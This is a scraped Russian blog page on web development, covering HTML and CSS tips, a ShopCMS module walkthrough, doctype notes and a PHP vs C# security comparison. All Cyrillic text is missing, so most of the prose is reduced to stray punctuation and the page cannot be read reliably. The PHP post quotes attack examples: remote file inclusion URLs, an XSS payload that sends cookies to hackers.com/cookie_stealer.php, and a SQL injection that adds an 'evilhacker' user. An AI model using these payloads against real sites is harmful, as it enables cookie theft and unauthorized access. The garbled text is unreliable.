-

 -

: - (0)

: ...

- (0)

« » — , ...

. - (0)

. . 1957 , ...

- - (0)

- - , "" ...

- - (0)

-   ...

 -

: 1623 : 0

 -

      Andy Mumford
Andy Mumford
05:54 16.05.2009
: 40
04:52 16.05.2009
: 1
03:00 01.01.1970
: 0

 - -

Michael and Inessa Garmash

the alureMichael and Inessa GarmashMichael and Inessa Garmash

 -

   spacesite

 - e-mail

 

 -

 -

( : 1) Photoshopinka

 -

 LiveInternet.ru:
: 15.05.2009
:
:
: 1213

:

.


: (2), (51), (33), (86), (17), (103), (54), (36), (30), (76), (33), (16), (27), (45), ShopCMS(6), Photoshop(7), MODx(5), Magento(3)
(0)

, 24 2010 . 21:58 +

. - , , , . , , - " ".

, . , , . , . , , . , - , .

«»

«», . - «» «» . «» - .

, . e-mail . - e-mail ( ), ( ). ICQ, Skype - .

 

« »

, , 100%, . ( , , ..) , , . , , , . , .

- , , . , , , , , . , , , .

,

, . - , . . .

, « , » , .

, , , « !». :) .

, . . , .

, . , , , ( , 25-50% ..).

. - .

. , , , . , - , .. .

« », , , . - , .

, . , - , . , , .

. - , , - -. , , .

, , . , , .

, . , , .

- , . . , « ». . , , . , .

, , - 4 4 . . , .

. , -. , , .

, .

, . - , -. , .

, , , , , , - , , . .

, , , , . , .

, . . .

!





:  
(0)

30 HTML

, 23 2010 . 02:30 +

30 HTML

1.

- :

<li>- .
<li> - .
<li>   .

, ul/ol. , li. - . , . .

:

<ul>
  <li>- .</li>
  <li> - .</li>
  <li>   .</li>
</ul>

2: (DocType)

, , CSS. - , , :

1. CSS-. ,
2. (DocType)

"DOCTYPE html , HTML, XHTML, , "

4 :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

, . , XHTML Strict. , , "" , HTML . HTML 4.01 Strict. , . .

3.

, :

<p style="color: red;">I'm going to make this text red so that it really stands out and makes people take notice!</p>

- . , .

, . , .

#someElement > p {
  color: red;
}

4. CSS head

c . , HTML head. - .

" Yahoo! , head HTML- . , ." - ySlow Team

<head>
<title>My Favorites Kinds of Corn</title>
<link rel="stylesheet" type="text/css" media="screen" href="path/to/file.css" />
<link rel="stylesheet" type="text/css" media="screen" href="path/to/anotherFile.css" />
</head>

5. Javascript

- . , . , , .

JS-, - - , - .. - , body. .

<p>And now you know my favorite kinds of corn. </p>
<script type="text/javascript" src="path/to/file.js"></script>
<script type="text/javascript" src="path/to/anotherFile.js"></script>
</body>
</html>

6. Javascript

JS- . . onclick . , . JS-, addEventListener/attachEvent "" . , jQuery, click.

$('a#moreCornInfoLink').click(function() {
  alert('Want to learn more about corn?');
});

7.

, . , .

Web Developer Toolbar Firefox, Validate HTML Validate CSS. , CSS , . , - . , , .

8. Firebug

Firebug - , , -. Javascript, , , .

9. Firebug!

, 20% Firebug. - . , .

10.

, .

<DIV>
<P>Here's an interesting fact about corn. </P>
</DIV>

, . , , , html Microsoft Word!

:

<div>
<p>Here's an interesting fact about corn. </p>
</div>

11. H1 – H6

, . . , , 4; !:) SEO, H6 p , .

<h1>This is a really important corn fact! </h1>
<h6>Small, but still significant corn fact goes here. </h6>

12. H1

, , . , , H1 . .

13. ySlow

Yahoo Firebug ySlow. , , . , . .

14.

- . , - :

<div id="nav">
   <a href="#">Home</a>
   <a href="#">About</a>
   <a href="#">Contact</a>
</div>

. - , .

ul :

<ul id="nav">
  <li><a href="#">Home</a></li>
  <li><a href="#">About</a></li>
  <li><a href="#">Contact</a></li>
</ul>

15. IE

, - , IE. -. Twitter , Internet Explorer, , " , ".

, , CSS- - CSS- ie.css. , :

<!--[if lt IE 7]>
   <link rel="stylesheet" type="text/css" media="screen" href="path/to/ie.css" />
<![endif]-->

: " - Internet Explorer 6 , . , ." IE7, lt (less than - , ) lte (less than r equal to - , ).

16.

Windows Mac, , . , .

Mac:

- Coda
- Espresso
- TextMate
- Aptana
- DreamWeaver CS4

PC:

- Notepad++
- Aptana
- PHP Designer
- PSPad
- Dreamweaver CS4

17. ? - !

CSS Javascript , 25%. . , , - .

Javascript:

- Javascript Compressor
- JS Compressor

CSS-:

- CSS Optimiser
- CSS Compressor
- Clean CSS

18. !

, . , , div, , " " div div. , .

" , . div? , ."

19. alt

alt img. , , , .

:

<IMG SRC="cornImage.jpg" />

:

<img src="cornImage.jpg" alt="A corn field I visited." />

20. ...

, , .

"!" , , . - , , .

21.

HTML, ? - . , , , . , . , ? . , . : , !

Javascript, ? , - . , head . - Google . !

22.

, . , blockquote , . ? - , , ! - , : ul, ol, p, h1-h6, blockquotes ..

23. Twitter

Twitter . , Larry King Twitter - , , . ! , , Twitter? .

, Twitter , , " ". , Twitter . -, , , , , , !

24.

HTML CSS, Adobe Photoshop.

1. " "
2. , Photoshop.

25. HTML

HTML-, . , , ! abbr? cite? . !

, :

- abbr , . . "Blvd" abbr, "boulevard" ().

- cite , - . , , "30 HTML" cite. , . .

26.

-. - , ? - ! , , . - - . -, - , "-" - ?

27. "" CSS

, , . "CSS-": , , . , 100% -. - , Eric Meyer , , , , . , , , CSS-. ! .

html, body, div, span,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
img, ins, kbd, q, s, samp,
small, strike, strong,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	font-size: 100%;
	vertical-align: baseline;
	background: transparent;
}
body {
	line-height: 1;
}
ol, ul {
	list-style: none;
}
blockquote, q {
	quotes: none;
}
blockquote:before, blockquote:after,
q:before, q:after {
	content: '';
	content: none;
}

table {
	border-collapse: collapse;
	border-spacing: 0;
}

28. !

, , . , . , , , , .. . - .

: , , .

29. PSD

, HTML, CSS PSD- . , , . . , , :

- Slice and Dice that PSD
- From PSD to HTML/CSS

30. ...

Javascript CSS - . , , , . , jQuery Javascript , CSS-. , , 960 CSS Framework. CSS, - .

CSS- , . .

Jeffrey Way
www.net.tutsplus.com
-

 



:  
(0)

, 21 2010 . 20:58 +

1. .htaccess, :
RewriteRule ^articles\.html$ index.php?articles=yes [L]
RewriteRule ^show_articles_([0-9]+)\.html$ index.php?fullarticles=$1 [L]
articles fullarticles. .


2. (news_table)  articles_table ( ).

-- `articles_articles`
DROP TABLE IF EXISTS `articles_table`;
CREATE TABLE IF NOT EXISTS `articles_table` (
  `NID` int(11) NOT NULL AUTO_INCREMENT,
  `add_date` date DEFAULT NULL,
  `title` text,
  `textToPrePublication` text,
  `textToPublication` mediumtext,
  `textToMail` text,
  `add_stamp` int(11) DEFAULT NULL,
  PRIMARY KEY (`NID`)
) ENGINE=InnoDB  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=0 ;
COMMIT;
 

3. core/config/tables.inc.php:
if ( !defined('NEWS_TABLE') )
{
define('NEWS_TABLE', 'sun_news_table');

- - ,  
if(!defined('ARTICLES_TABLE'))
{
define('ARTICLES_TABLE', 'articles_table');
}

4. core/languages/russian.php - , , : define('ADMIN_ARTICLES', '');

5. setting_constants.sql 

insert into SETTINGS_TABLE (settings_groupID, settings_constant_name, settings_value, settings_title, settings_description, settings_html_function, sort_order) VALUES (2, 'CONF_ARTICLES_COUNT_IN_CUSTOMER_PART', '3', ' ', ', , .', 'setting_TEXT_BOX(2,', 11);
insert into SETTINGS_TABLE (settings_groupID, settings_constant_name, settings_value, settings_title, settings_description, settings_html_function, sort_order) VALUES (2, 'CONF_ARTICLES_COUNT_IN_ARTICLES_PAGE', '10', ' ', ', , ', 'setting_TEXT_BOX(2,', 12);

 

insert into BLOCKS_TABLE (title, content, bposition, active, which, sort, html, url, admin, about, pages, dpages, categories, products) VALUES ('', '', 4, 1, 0, 9, 1, 'articles.tpl.html', 0, ' . .', 'a:0:{}', 'a:0:{}', 'a:0:{}', 'a:0:{}');
insert into BLOCKS_TABLE (title, content, bposition, active, which, sort, html, url, admin, about, pages, dpages, categories, products) VALUES (' ', '', 2, 0, 1, 17, 1, 'articles_center.tpl.html', 0, ' . .', 'a:1:{i:0;s:13:"home.tpl.html";}', 'a:0:{}', 'a:0:{}', 'a:0:{}');

 

6. core/functions/news_function.php core/functions/articles_function.php

( ), (articles_function.php) , :
function newsGetNewsToCustomer() articlesGetArticlesToCustomer(), , , , NEWS_TABLE ARTICLES_TABLE ( core/config/tables.inc.php). , , news articles, .

7. core/includes/news.php core/includes/articles.php . ( , , ). ( show_articles.tpl.html, show_full_articles.tpl.html). GET POST (. .htaccess)!!!!!!! (articles, fullarticles)
..

8. - core/tpl/admin/menu.tpl.html
501 ( <div class="dvmenu">
<table class="adn"><tr><td><img src="data/admin/drs.gif" alt=""></td><td width="100%"><a href="{$smarty.const.ADMIN_FILE}?dpt=modules&amp;sub=news">{$smarty.const.ADMIN_NEWS}</a></td></tr></table> )

<table class="adn"><tr><td><img src="data/admin/drs.gif" alt=""></td><td width="100%"><a href="{$smarty.const.ADMIN_FILE}?dpt=modules&amp;sub=articles">{$smarty.const.ADMIN_ARTICLES}</a></td></tr></table>

9. core/includes/admin/modules.php :

$admin_dpt = array(
"id" => "modules", //department ID
"sort_order" => 40, //sort order (less `sort_order`s appear first)
"name" => ADMIN_MODULES, //department name
"sub_departments" => array
(
array("id"=>"news", "name"=>ADMIN_NEWS),
array("id"=>"articles", "name"=>ADMIN_ARTICLES),
array("id"=>"survey", "name"=>ADMIN_VOTING),
array("id"=>"shipping", "name"=>ADMIN_STRING_SHIPPING_MODULES),
array("id"=>"payment", "name"=>ADMIN_STRING_PAYMENT_MODULES),
array("id"=>"linkexchange", "name"=>ADMIN_STRING_MODULES_LINKEXCHANGE),
array("id"=>"yandex", "name"=>"." )
)
);
add_department($admin_dpt);

.. ..
.

10. core\tpl\admin\modules_articles.tpl.html

11. core\includes\head.php 25

elseif (isset($_GET["fullnews"]))  //  fullnews => get title ....

        elseif (isset($_GET["fullarticles"]))  //  fullarticles => get title
        {
                $fullnews_array_head = articlesGetFullArticlesToCustomer($_GET["fullarticles"]);
                        if ($fullnews_array_head["title"]) $page_title = $fullnews_array_head["title"].". ".CONF_SHOP_NAME;
                        else $page_title =  CONF_DEFAULT_TITLE.". ".CONF_SHOP_NAME;
                                $meta_tags = "";
                                if  ( CONF_HOMEPAGE_META_DESCRIPTION != "" )
                                        $meta_tags .= "<meta name=\"description\" content=\"".CONF_HOMEPAGE_META_DESCRIPTION."\"/>\n";
                                if  ( CONF_HOMEPAGE_META_KEYWORDS != "" )
                                        $meta_tags .= "<meta name=\"keywords\" content=\"".CONF_HOMEPAGE_META_KEYWORDS."\"/>\n";
        }
SEO

 


ShopCMS

:  
(0)

.

, 10 2010 . 20:07 +

«.» , , - .

«.» . , 3,25%. - , «», « » «-». .

« «.» , , — , «.». — , , , . — «.». «.» ».

"." , . "" "." "-", . "" . "" - , "." 3,25% . 30 . .

, 2 . , "-" "." 14 .

«.» 6 . . 6 , 80 . .



(0)

PHP C#. ?

, 06 2010 . 19:15 +

, , , , Internet . , , . , , : , ,   - , .

, : ?

, ... ( ). , : .

, , … , , , , .

PHP web , , . , , , , PHP web , . , .

, , : , 80% ( ) PHP , , , .

, , , . , :  — ( , ), , .

, , .

?

, , , ( ), . , , eval() , , , PHP?

.include

«» PHP .. include bug. , include() ( ) . – .

, :

  • – ,
  • – register_globals.

, .

, , :

index.php?page=contacts.php

, . !

: 50 69 web , milw0rm.org 2006 ., .

. , mambo , . admin.cropcanvas.php com_cropimage 1.0. 7- :

require_once $cropimagedir."class.cropinterface.php";

, register_globals ini , cropimagedir GET , :

http://[_]/[__]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[_]

[_] class.cropinterface.php .

.XSS

, – « » (cross site scripting). , .

, , , (., URL), , . , .

, URL « » html , phpCommunityCalendar 4.0.3. , java script alert(‘XSS’), “XSS”:

http://[_]/[__]/week.php?LoName=<script>alert('XSS')</script>

. 2006 . , phpBB 2.0.19 html , java script , cookie :

<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>

, http://hackers.com/cookie_stealer.php , cookie . , .

.SQL injection

PHP – SQL .

, , SQL. , ( ) SQL . , SQL . ? , , . . proManager v.0.73, . , c evilhacker neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

, PHP (.. - ) . , , - , , . phpBB Invision Power.

?

, , . , , . , , !

SQL .

, SQL , PHP mysql_real_escape_string (, , MySQL PHP). MySQL, ( UTF-16). , ( ) , ( , , ?).

, , , . , PHP.

, $GLOBALS. ? , PHP , , : _GET, _POST, _COOKIE, _FILES. $GLOBALS , . .., , ( ) , , include bug. $GLOBALS ( _GET, _POST - _FILES) PHP. , , $GLOBALS, .

$GLOBALS, 2006. PHP – zend engine. PHP, , . PHP Zend’, , . , . unset() . , , - . .., unset , . , ? , unset , , , .

? . unset() , , , miniBB. , «» includeHeader, unset($includeHeader). , , . , , GET , - includeHeader. , include() :

http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

PHP (4 5).

, ? , PHP ? ? , . , 100% . , , «» , .

, , . , . , , , , , , , .

web .NET. , , C# C++ Java.

C# ( ).

.

, PHP. . - . , , .

, , . , , .

.

, Microsoft, C# C++ Visual Basic, .

C# C ( , , .), Java ( , ) ( ), .

, . , . , , , .

C# - . , , .

, /. ( , integer) , .

, — XML . .

. , (value types, , ValueType) . , , null ( , ).

C# , Java. , . , .

. , , .

.

  ( , ) . . , ErrorPage.

, , , C#?

 



(2)

RU

, 09 2010 . 10:10 +

RU

1- 2010 . RU , . -, , unverified ( . «»).

 

, - , . , 2- .

2009 . - , 1- . , 1- , «» 1- , webplanet.ru.
, , . , 10 , – 3 . , . .

, . , , -, .

, , ..



(0)

:

, 23 2010 . 18:07 +

«» - -, . , , . -, . , .

– , «» . .

. , , – - . , , « ». , ? IQ.

, . : , :

  1. ?

  2. ?

  3. ?

, , . , :

- ;

 - ;

 - .

 , , . , , . : , , .


 , , – . : , . , , , .

! !

 

 



(0)

em px

, 17 2010 . 04:57 +

 

, CSS, , (, px %, , 1.4 em) . , ( ) .

: em px  , body:

body { font-size: 62.5% }

, 1em 10px, . , font-size: 12px font-size: 1.2em  ..    .

px em % pt
6px 0.375em 37.5% 5pt
7px 0.438em 43.8% 5pt
8px 0.5em 50% 6pt
9px 0.563em 56.3% 7pt
10px 0.625em 62.5% 8pt
11px 0.688em 68.8% 8pt
12px 0.75em 75% 9pt
13px 0.813em 81.3% 10pt
14px 0.875em 87.5% 11pt
15px 0.938em 93.8% 11pt
16px 1em 100% 12pt
17px 1.063em 106.3% 13pt
18px 1.125em 112.5% 14pt
19px 1.188em 118.8% 14pt
20px 1.25em 125% 15pt
21px 1.313em 131.3% 16pt
22px 1.375em 137.5% 17pt
23px 1.438em 143.8% 17pt
24px 1.5em 150% 18pt

 

 

px em % pt
6px 0.6em 60% 5pt
7px 0.7em 70% 5pt
8px 0.8em 80% 6pt
9px 0.9em 90% 7pt
10px 1em 100% 8pt
11px 1.1em 110% 8pt
12px 1.2em 120% 9pt
13px 1.3em 130% 10pt
14px 1.4em 140% 11pt
15px 1.5em 150% 11pt
16px 1.6em 160% 12pt
17px 1.7em 170% 13pt
18px 1.8em 180% 14pt
19px 1.9em 190% 14pt
20px 2em 200% 15pt
21px 2.1em 210% 16pt
22px 2.2em 220% 17pt
23px 2.3em 230% 17pt
24px 2.4em 240% 18pt

 

http://seoservis.my1.ru/index/0-20



(1)

NOINDEX

, 22 2010 . 21:50 +

  • CDATA CSS
  • DTD

CDATA CSS

<span style="display: none"><![CDATA[<noindex>]]></span>
,
<span style="display: none"><![CDATA[</noindex>]]></span>

CSS HTML:
<span class="inv"><![CDATA[<noindex>]]></span>
,
<span class="inv"><![CDATA[</noindex>]]></span>

CSS- «inv»:
.inv {display:none}

DTD

.



(0)

doctype

, 22 2010 . 21:41 +

Doctype . , , . – (html,xhtml) . , , . : (Transitional) (Strict). – (Frameset), . : html, xhtml. XHTML XML, XML.

 

:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

:

(Transitional)

:

  • XHTML-. ( HTML 4.01.);
  • CSS , , ;
  • XHTML . , CSS;
  • : ( CSS , CSS );
  • JavaScript/ECMAScript DOM, .

:

  • . – ;
  • XML- CSS-;
  • , , ;
  • ( );
  • , , ,
    , .

:

  • - , ;
  • , XML
    (Content-management System – CMS). , , ,
    .

(Strict)

:

  • ;
  •  
  • CSS.
    – ,
    , , , ;
  • XHTML 1.0 Strict XHTML 1.0 Transitional;
  • . .
  • ;
  • ,
    DOM. ;
  • .

:

  • ;
  • XML ;
  • , , ;
  • , .
    ,
    ,
    , , , , ,
    ;

  • ;
  • CSS , HTML;
  • C .

:

  • CSS . ;
  • , HTML, CSS. , , ;
  • DOM
    4.0 , , . CGI.

http://zodios.net/htmlcss/saga-o-doctype.html




 : 4 3 [2] 1